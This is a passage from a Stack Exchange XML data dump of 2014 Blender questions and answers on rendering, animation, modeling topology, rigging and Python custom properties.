exporting!" Tags="&lt;texturing&gt;&lt;export&gt;" AnswerCount="0" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15468" PostTypeId="1" CreationDate="2014-09-01T20:28:31.630" Score="1" ViewCount="17" Body="&lt;p&gt;Just once switched to OpenGL rendering, but after that changing to Blender Render or Cycles really doesn't help. Even after quitting Blender and then re-starting it and reopening the scene, it's still rendering with OpenGL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could possibly go wrong? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my file &lt;a href=&quot;https://copy.com/MQ4RHuAYVvum&quot; rel=&quot;nofollow&quot;&gt;https://copy.com/MQ4RHuAYVvum&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1397" LastEditorUserId="1397" LastEditDate="2014-09-01T20:37:47.153" LastActivityDate="2014-09-01T20:37:47.153" Title="After rendering with OpenGL it's always rendering with OpenGL with v2.69" Tags="&lt;rendering&gt;&lt;opengl&gt;" AnswerCount="0" CommentCount="5" ClosedDate="2014-09-02T00:36:48.067" ContentLicense="CC BY-SA 3.0" />
  <row Id="15470" PostTypeId="2" ParentId="15459" CreationDate="2014-09-01T21:09:19.767" Score="5" Body="&lt;p&gt;Can you tell which part is Cycles and which is viewport render? ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ZmG2l.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZmG2l.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately blenders normal ball widgets don't have any way to set values numerically (yet), so you'll have to use some python to get and set the values.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Get the default openGL lights from the user-preferences. To do this, run the following in the python console:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for light in bpy.context.user_preferences.system.solid_lights:&#xA;    print(light.direction)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It should print something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;Vector (-0.8920, 0.3000, 0.9000)&amp;gt;&#xA;&amp;lt;Vector (0.5880, 0.4600, 0.2480)&amp;gt;&#xA;&amp;lt;Vector (0.2160, -0.3920, -0.2160)&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a material and add three normal nodes, then run&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.materials['openGL'].node_tree.nodes['Normal.001'].outputs[0].default_value = (0.5880, 0.4600, 0.2480)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;openGL&lt;/code&gt; is the name of the material, &lt;code&gt;Normal.001&lt;/code&gt; is the name of your normal node, and &lt;code&gt;(0.5880, 0.4600, 0.2480)&lt;/code&gt; is the direction you want to set it too. Do this three times, changing the the node and direction until your three normal nodes look like the light widgets in the user preferences.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Copy/paste the diffuse colors from the user prefs into RGB nodes in your setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vg5nI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that you can copy/paste colors by pressing &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;/&lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;V&lt;/kbd&gt; while hovering over a color field, but make sure the correct window is focused when going between multiple windows.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Setup the rest of the nodes, and enjoy your path-traced openGL renders :P&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-09-01T21:22:25.100" LastActivityDate="2014-09-01T21:22:25.100" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="15471" PostTypeId="1" CreationDate="2014-09-01T21:54:27.653" Score="1" ViewCount="1475" Body="&lt;p&gt;I want to create an animation where a arrow points from the red circle to the blue circle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My standard approch would be, to start with a cube on frame 1, deform the cube to a rectangle in frame 2, than to a long line and eventually in frame 4 I have the full arrow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now in this approach two things are not optimal:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The arrow looks really bad.&lt;/li&gt;&#xA;&lt;li&gt;Its hard work to do this.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Is there a shorter approach to get a more accurate looking arrow which is developing during time? I know the curve-&gt;path object, but I dont know how to explain to blender that it should develop during time (as in the image below).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Evczn.png&quot; alt=&quot;Example&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4889" LastActivityDate="2014-09-01T22:18:53.370" Title="How to make a moving arrow?" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="5" ClosedDate="2014-09-01T23:51:20.257" ContentLicense="CC BY-SA 3.0" />
  <row Id="15472" PostTypeId="2" ParentId="15471" CreationDate="2014-09-01T22:18:53.370" Score="1" Body="&lt;p&gt;One solution is to make your arrow as a Curve, and then adding a Build Modifier to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FBoU0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will animate along the direction of the curve (represented by the arrows in Edit mode), but you can check &lt;em&gt;Reverse&lt;/em&gt; to change this. Also you can cange the start and length fields to your likes.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastActivityDate="2014-09-01T22:18:53.370" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15476" PostTypeId="1" AcceptedAnswerId="15493" CreationDate="2014-09-02T04:35:19.647" Score="5" ViewCount="1394" Body="&lt;p&gt;I Have been using blender to make/modify objects for 3D printing and now I thought I would try some animation.&lt;/p&gt;&#xA;&lt;p&gt;I am trying to start the camera moving along a path starting at frame 40.  From frame 1 to 40 it moves via key frames with loc.  Starting at frame 40 I would like the camera to follow a circle path for a couple of iterations.&lt;/p&gt;&#xA;&lt;p&gt;How do start / stop the influence of the path at specific frames.&lt;/p&gt;&#xA;&lt;p&gt;I in my googling have seen mention of a start/stop but I am not seeing in properties/constraints.  I see noting to control the constraint in the dope sheet or the NLA editor. (Which I just discovered)&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vDqHX.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="5871" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-09-02T18:12:51.947" Title="How do I animate influence of follow path" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15478" PostTypeId="2" ParentId="14351" CreationDate="2014-09-02T09:15:30.147" Score="31" Body="&lt;p&gt;Theoretically they are meant for similar purposes and functionally there is overlap when used in simple cases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when used for extreme bump mapping, the bump map node produces much better results:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Gdx7V.png&quot; alt=&quot;disp vs bump&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Left:&lt;/strong&gt; Texture plugged into displacement output &lt;strong&gt;Right:&lt;/strong&gt; Bump map node plugged into shaders&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The other difference is of course that the displacement output can be used for actual geometry displacement (when when using the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Experimental_Features&quot; rel=&quot;noreferrer&quot;&gt;experimental feature set&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Opfdq.png&quot; alt=&quot;disp as bump and true&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Left:&lt;/strong&gt; Bump displacement &lt;strong&gt;Right:&lt;/strong&gt; True displacement&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both spheres use the same material with the texture plugged into the displacement output. The sphere on the left uses the default &lt;em&gt;Bump&lt;/em&gt; displacement method, while the sphere on the right uses the &lt;em&gt;True&lt;/em&gt; method:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FS91D.png&quot; alt=&quot;disp settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the sphere on the right has a Subsurf modifier on level 4 to give it enough geometry to displace. There is a &lt;em&gt;Use Subdivision&lt;/em&gt; option in the displacement settings, but I found this causes some wireframe artefacts.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Finally, using the &lt;em&gt;Bump node&lt;/em&gt; allows you to choose not to have a bump map for certain shaders. For example you may want the gloss on the material to appear like a glossy coat or varnish, while still having a bump map for the underlying diffuse shader:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oy8X3.png&quot; alt=&quot;Bump on certain shaders&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Left:&lt;/strong&gt; Same displacement for all shaders &lt;strong&gt;Right:&lt;/strong&gt; Different displacement for each shader&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;For reference, here is the sphere with no bump or displacement&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/ByQJK0I.png&quot; alt=&quot;no bump or displacement&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9" LastEditorUserId="19307" LastEditDate="2018-11-19T17:16:18.377" LastActivityDate="2018-11-19T17:16:18.377" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="15479" PostTypeId="1" CreationDate="2014-09-02T09:40:58.377" Score="2" ViewCount="384" Body="&lt;p&gt;I am experiencing a problem with adding Custom properties to &lt;code&gt;bpy.types.VertexGroup&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have added custom properties to various types before, Object, Material, etc. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; C.active_object.niftools_constraint&#xA;bpy.data.objects['Cube'].niftools_constraint&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However looking at the one for the VertexGroup I get the following and am unable to see the defined properties of the Property group&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; C.active_object.vertex_groups.active.niftools_skin_data&#xA;(&amp;lt;built-in function PointerProperty&amp;gt;, &#xA;{'description': 'Additional vertex group properties used by the Nif File Format', &#xA;'name': 'Niftools Vertex Group Property', &#xA;'type': &amp;lt;class '__main__.VertexGroupProperty'&amp;gt;})&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The sample code show a working custom Object property and the non-working VertexGroup property.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy.types import PropertyGroup&#xA;from bpy.props import (PointerProperty,&#xA;&#xA;class ObjectCollision(PropertyGroup):&#xA;    @classmethod&#xA;    def register(cls):&#xA;        bpy.types.Object.niftools_constraint = PointerProperty(&#xA;                        name='Constraint Property',&#xA;                        description='Additional constraint properties used by the Nif File Format',&#xA;                        type = cls&#xA;                        )&#xA;&#xA;        cls.LHMaxFriction = FloatProperty(&#xA;                        name='LHMaxFriction',&#xA;                        description='Havok limited hinge max friction.',&#xA;                        )&#xA;        cls.tau = FloatProperty(&#xA;                        name='tau',&#xA;                        description='Havok limited hinge max friction.',&#xA;                        )&#xA;        cls.damping = FloatProperty(&#xA;                        name='damping',&#xA;                        description='Havok limited hinge max friction.',&#xA;                        )&#xA;&#xA;    @classmethod&#xA;    def unregister(cls):&#xA;        del bpy.types.Object.niftools_constraint&#xA;&#xA;class VertexGroupProperty(PropertyGroup):&#xA;    @classmethod&#xA;    def register(cls):&#xA;        bpy.types.VertexGroup.niftools_skin_data = PointerProperty(&#xA;                        name='Niftools Vertex Group Property',&#xA;                        description='Additional vertex group properties used by the Nif File Format',&#xA;                        type = cls&#xA;                        )&#xA;&#xA;        cls.blah = BoolProperty(&#xA;                        name=('bonedata'), &#xA;                        description='None',&#xA;                        default = False&#xA;                        )&#xA;&#xA;    @classmethod&#xA;    def unregister(cls):&#xA;        del bpy.types.VertexGroup.niftools_skin_data&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(ObjectCollision)&#xA;&#xA;    bpy.utils.register_class(VertexGroupProperty)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(ObjectCollision)&#xA;    bpy.utils.unregister_class(VertexGroupProperty)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="175" LastEditorUserId="3116" LastEditDate="2018-09-13T16:28:56.957" LastActivityDate="2018-09-13T16:28:56.957" Title="Adding custom property to VertexGroup class" Tags="&lt;python&gt;&lt;properties&gt;&lt;vertex-groups&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="15480" PostTypeId="1" AcceptedAnswerId="15483" CreationDate="2014-09-02T09:57:37.387" Score="6" ViewCount="376" Body="&lt;p&gt;I'm having problems modeling the crenels (battlements, castellated parapets) of a rook piece. The basic modeling is easy, the problem comes with subsurf modifier. I can't achieve the shape I'm looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xvn0gm.jpg&quot; alt=&quot;rook piece&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any combination of bevel, edge loops, creases, gives me artifacts, or I lose the circular shape in the top view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the blend file, if you want: &lt;a href=&quot;http://www.pasteall.org/blend/31339&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/31339&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dqBQQ.png&quot; alt=&quot;basic modelling&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iL4H5.png&quot; alt=&quot;edge loops&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TsHgC.png&quot; alt=&quot;bevel&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="154" LastEditorUserId="30095" LastEditDate="2016-11-07T07:24:39.950" LastActivityDate="2016-11-07T07:24:39.950" Title="Best way to model the top of a rook piece?" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15481" PostTypeId="2" ParentId="15479" CreationDate="2014-09-02T11:15:23.153" Score="4" Body="&lt;p&gt;Quote from the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_release/bpy.props.html#assigning-to-existing-classes&quot; rel=&quot;nofollow&quot;&gt;api documentation&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Custom properties can be added to any subclass of an ID, Bone and PoseBone.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;VertexGroup&lt;/code&gt; does not inherit from &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_release/bpy.types.ID.html#module-bpy.types&quot; rel=&quot;nofollow&quot;&gt;ID&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="2271" LastEditDate="2014-09-02T11:21:46.993" LastActivityDate="2014-09-02T11:21:46.993" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15483" PostTypeId="2" ParentId="15480" CreationDate="2014-09-02T15:23:12.380" Score="5" Body="&lt;p&gt;You never want triangles on a mesh you are going to subdivide as they will result in pinching. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The images above seem to have some, introduced by the bevel tool probably. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using a pair of edge loops to sharpen the rings, and then a pair of edge loops top and bottom per crenelation you can get close to the shape you want. But there is some blockiness when you look down from top view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0lgPA.png&quot; alt=&quot;edge loops&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want a smoother circumference, you can&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-select the face loop you have inset near the top and hide them. (Hiding faces will prevent edge loops from continuing past them when added.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Add some additional &quot;spoke&quot; edge loops as shown. As there is one ring hidden, the loops won't cross the entire object, creating some ngons in the inset area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vIk55.png&quot; alt=&quot;spokes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Scale the new short edge loops up just slightly on the not z. scale the entire section above the hidden faces down about half that much to split the difference&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know, I just said don't use triangles and then here I go introducing poles in to your mesh, but they are nicely tucked away, it works and it's easy :P &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pPoN9.png&quot; alt=&quot;top&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eJbQR.png&quot; alt=&quot;ortho&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/31346&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/31346&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source: I just finished watching 4 hours worth of topology videos by Jonathan Williamson, the cg cookie guy.&lt;/p&gt;&#xA;" OwnerUserId="5595" LastEditorUserId="5595" LastEditDate="2014-09-02T15:57:38.707" LastActivityDate="2014-09-02T15:57:38.707" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15484" PostTypeId="2" ParentId="15480" CreationDate="2014-09-02T15:23:41.787" Score="2" Body="&lt;p&gt;Add EdgeSplit modifier, set to less than 90 degree and then use MeanCrease only on the top of model.&lt;img src=&quot;https://i.stack.imgur.com/TMe9v.png&quot; alt=&quot;90&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5879" LastActivityDate="2014-09-02T15:23:41.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15485" PostTypeId="2" ParentId="15458" CreationDate="2014-09-02T16:09:52.043" Score="1" Body="&lt;p&gt;The way I see it -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yH89q.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most shaders like diffuse and glossy will &quot;reflect&quot; the same light from Light A to the camera with a different appearance. These should be mixed together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A translucent shader allows additional light from Light B to pass through the object, reducing it's intensity along the way and should be added to the Light A result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you mix different effects from the same light and add effects from new sources of light.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With a SSS shader you have a bit of both, it is originating from the same light source, yet it is passing through the object and bouncing back in a similar way to the translucent effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But remember, at the end of the day it is only an artistic choice, use the one that renders a result that you are pleased with. It doesn't take long to compare the two.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-09-02T16:09:52.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15486" PostTypeId="1" CreationDate="2014-09-02T16:17:10.703" Score="2" ViewCount="13833" Body="&lt;p&gt;Newbie here. This is my first time on 3D modeling, rigging, and Blender. I followed an old tutorial on how to make a simple mech and make it move. Because of it being old and lots of things already changed on v2.7, I resolved on following other tutorials.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this is what's happening - the whole mech/mesh is just only one entity, I joined multiple parts of it using the shortcut &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;J&lt;/kbd&gt; before I added armature. Then used &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt; &lt;em&gt;&gt; Armature Deform with Automatic Weights&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On &lt;em&gt;Pose Mode&lt;/em&gt;, few bones works properly, but most are not. Based on the image I attached below, some parts were left out or others are getting stuck/stretched.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tvbpd.png&quot; alt=&quot;My test model mech&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5880" LastEditorUserId="1363" LastEditDate="2014-09-02T17:39:20.533" LastActivityDate="2014-09-02T20:13:22.240" Title="Proper way of attaching bones to the model" Tags="&lt;rigging&gt;&lt;weight-painting&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15488" PostTypeId="1" AcceptedAnswerId="15496" CreationDate="2014-09-02T17:05:21.037" Score="1" ViewCount="2076" Body="&lt;p&gt;I'm fascinated by the &lt;a href=&quot;http://leegriggs.wordpress.com/2014/06/28/xgen-color/&quot; rel=&quot;nofollow noreferrer&quot;&gt;beautiful images&lt;/a&gt; Lee Griggs is able to create with Maya modelling and Arnold rendering.. e.g: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zGIJM.jpg&quot; alt=&quot;example image&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm attempting to reproduce his effect in Blender. My first stab at it is adding a big pile of cubes to the scene, displacing them according to an external texture, and adding a common material with colour based on object position. This massive number of objects seems to be too much for Blender to handle (or maybe I just need to get a better computer?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should it be possible to create such an image in Blender? If so, what tricks might one need to know about, in order to get around computational limitations? Or should I accept that some things just can't be done?&lt;/p&gt;&#xA;" OwnerUserId="822" LastEditorUserId="822" LastEditDate="2014-09-02T18:21:14.530" LastActivityDate="2014-09-02T18:50:19.413" Title="Creating a scene with huge amount of geometry" Tags="&lt;rendering&gt;&lt;workflow&gt;" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="15489" PostTypeId="1" AcceptedAnswerId="15495" CreationDate="2014-09-02T17:32:58.803" Score="2" ViewCount="385" Body="&lt;p&gt;I'm learning blender with help of the wiki, and other articles around the web(including blenderguru and blender artists).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to make a model for a character that I've sketched, but Im having some problens with the junctions of his neck, this makes me wonder what's the best practice for creating a junction such as this one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First try render result&#xA;&lt;img src=&quot;https://i.stack.imgur.com/5U1Q3.jpg&quot; alt=&quot;First try render result&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mesh of the first try&#xA;&lt;img src=&quot;https://i.stack.imgur.com/2q7ul.jpg&quot; alt=&quot;Mesh of the first try&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second try with subdivision modifier&#xA;&lt;img src=&quot;https://i.stack.imgur.com/CWwky.jpg&quot; alt=&quot;Second try with subdivision modifier&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any light on this matter?&lt;/p&gt;&#xA;" OwnerUserId="5881" LastActivityDate="2014-09-02T18:35:13.283" Title="Better practices with subdivisions surface modifier" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15490" PostTypeId="2" ParentId="15489" CreationDate="2014-09-02T17:40:48.743" Score="1" Body="&lt;p&gt;It looks like your neck is not actually connected to the body. Try deleting the shoulder face, then select all the base neck vertices plus the 4 shoulder ones and hit &quot;f&quot; to create a face. Then try the subdivision again.&lt;/p&gt;&#xA;" OwnerUserId="4960" LastActivityDate="2014-09-02T17:40:48.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15491" PostTypeId="2" ParentId="15486" CreationDate="2014-09-02T17:46:17.263" Score="4" Body="&lt;p&gt;The automatic weights calculation takes normals into consideration. Since you joined multiple meshes together, typically the normals become inconsistent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you need to do is go into edit mode, hit Mesh - Normals - Recalculate Outside. Then unparent the mesh (&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;p&lt;/kbd&gt;), remove the armature modifier, and do it again (select mesh, select armature, &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;P&lt;/kbd&gt; with automatic weights).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also another method is leave all meshes separate, and parent each piece to a bone (select mesh, select bone in pose mode, ctrl+p and select bone), which is good for mechanical type armature deform. The downside to this is I find this method VERY slow in game engine if you are using that.&lt;/p&gt;&#xA;" OwnerUserId="4960" LastEditorUserId="29" LastEditDate="2014-09-02T20:13:22.240" LastActivityDate="2014-09-02T20:13:22.240" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15492" PostTypeId="1" CreationDate="2014-09-02T18:05:34.230" Score="2" ViewCount="1330" Body="&lt;p&gt;I would like to do some precise vertex positionning with regard to the 3D cursor, eg put a vertex at coordinate (0.1,0.1,0.1) from 3D cursor (which I can position very easily to a convenient position). Is that possible? I am not talking about the local coordinate system, which takes the object's origin as origin.&lt;/p&gt;&#xA;" OwnerUserId="5883" LastActivityDate="2014-10-02T19:25:02.727" Title="Is it possible to have coordinate system with 3D cursor as origin?" Tags="&lt;coordinates&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15493" PostTypeId="2" ParentId="15476" CreationDate="2014-09-02T18:12:51.947" Score="8" Body="&lt;p&gt;This can be done by animating the influence slider at the bottom the the constraint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most interface elements in blender can be keyframed by pressing &lt;kbd&gt;I&lt;/kbd&gt; while hovering over them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dNp2u.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-09-02T18:12:51.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15494" PostTypeId="2" ParentId="15492" CreationDate="2014-09-02T18:34:23.833" Score="2" Body="&lt;p&gt;Xavier, you can position a selection at a set of coordinates in the edit menu by using the 3D cursor location on the Properties menu &lt;kbd&gt;N&lt;/kbd&gt;.&#xA;You can then move a selected point to the cursor location using the Snap menu &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt; and selecting &quot;Selection to Cursor&quot;&#xA;This positions the selection using the global coordinate system.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/cDrPP.png&quot; alt=&quot;cursor location&quot;&gt;&#xA;You can also enter the coordinates of the active vertex directly using that same menu.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/L7Rb9.png&quot; alt=&quot;vertex position&quot;&gt;&#xA;Beneath the coordinates, you  specify weather the location is in local or global coordinates.&#xA;You could then combine that with the cursor location.&lt;/p&gt;&#xA;" OwnerUserId="4942" LastActivityDate="2014-09-02T18:34:23.833" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="15495" PostTypeId="2" ParentId="15489" CreationDate="2014-09-02T18:35:13.283" Score="1" Body="&lt;p&gt;If you just want to have a low poly character, the easiest way would be to select the lower vertices of the neck &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/c5feY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and move them down into the chest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mPJKH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A better way would be do have a connected mesh with good topology (this one was created by Make Human):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kPIOY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-09-02T18:35:13.283" CommentCount="5" 